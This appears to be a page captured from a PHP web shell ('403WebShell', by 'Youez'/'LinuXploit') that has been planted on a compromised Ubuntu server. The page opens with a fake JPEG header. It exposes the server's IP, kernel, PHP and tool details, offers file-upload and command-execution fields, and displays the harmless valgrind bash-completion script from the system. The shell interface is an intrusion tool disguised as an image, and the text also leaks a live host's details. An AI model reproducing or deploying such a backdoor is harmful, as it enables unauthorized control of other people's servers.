����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.129.206.232
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/bash-completion/completions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/bash-completion/completions/valgrind
# valgrind(1) completion                                   -*- shell-script -*-

_valgrind()
{
    local cur prev words cword split
    _init_completion -s || return

    local i
    # Note: intentionally using COMP_WORDS and COMP_CWORD instead of
    # words and cword here due to splitting on = causing index differences
    # (_command_offset assumes the former).
    for (( i=1; i <= COMP_CWORD; i++ )); do
        if [[ ${COMP_WORDS[i]} != @([-=])* && ${COMP_WORDS[i-1]} != = ]]; then
            _command_offset $i
            return
        fi
    done

    local tool
    for (( i=1; i < ${#words[@]}; i++ )); do
        if [[ ${words[i]} == --tool=?* ]]; then
            tool=${words[i]}
            break
        fi
    done

    case $prev in
        -h|--help|--help-debug|--version)
            return
            ;;
        --tool)
            # Tools seem to be named e.g. like memcheck-amd64-linux from which
            # we want to grab memcheck.
            COMPREPLY=( $(compgen -W '$(
                for f in /usr{,/local}/lib{,64,exec}{/*-linux-gnu,}/valgrind/*
                do
                    [[ $f != *.so && -x $f && $f =~ ^.*/(.*)-[^-]+-[^-]+ ]] &&
                        printf "%s\n" "${BASH_REMATCH[1]}"
                done)' -- "$cur") )
            return
            ;;
        --sim-hints)
            COMPREPLY=( $(compgen -W 'lax-ioctls enable-outer' -- "$cur") )
            return
            ;;
        --soname-synonyms)
            COMPREPLY=( $(compgen -W 'somalloc' -S = -- "$cur") )
            [[ $COMPREPLY == *= ]] && compopt -o nospace
            return
            ;;
        --kernel-variant)
            COMPREPLY=( $(compgen -W 'bproc' -- "$cur") )
            return
            ;;
        # callgrind:
        --callgrind-out-file)
            _filedir
            return
            ;;
        # exp-dhat:
        --sort-by)
            COMPREPLY=( $(compgen -W 'max-bytes-live tot-bytes-allocd
                max-blocks-live' -- "$cur") )
            return
            ;;
        # massif:
        --time-unit)
            COMPREPLY=( $(compgen -W 'i ms B' -- "$cur") )
            return
            ;;
        # generic cases parsed from --help output
        --+([-A-Za-z0-9_]))
            local value=$($1 --help-debug $tool 2>/dev/null | \
                command sed -ne "s|^[[:blank:]]*$prev=\([^[:blank:]]\{1,\}\).*|\1|p")
            case $value in
                \<file*\>)
                    _filedir
                    return
                    ;;
                \<command\>)
                    compopt -o filenames
                    COMPREPLY=( $(compgen -c -- "$cur") )
                    return
                    ;;
                \<+([0-9])..+([0-9])\>)
                    COMPREPLY=( $(compgen -W "{${value:1:((${#value}-2))}}" \
                        -- "$cur") )
                    return
                    ;;
                # "yes", "yes|no", etc (but not "string", "STR",
                # "hint1,hint2,...")
                yes|+([-a-z0-9])\|+([-a-z0-9\|]))
                    COMPREPLY=( $(IFS='|' compgen -W '$value' -- "$cur") )
                    return
                    ;;
            esac
            ;;
    esac

    $split && return

    if [[ $cur == -* ]]; then
        COMPREPLY=( $(compgen -W '$(_parse_help "$1" "--help $tool")' \
            -- "$cur") )
        [[ $COMPREPLY == *= ]] && compopt -o nospace
        return
    fi
} &&
complete -F _valgrind valgrind

# ex: filetype=sh

Youez - 2016 - github.com/yon3zu
LinuXploit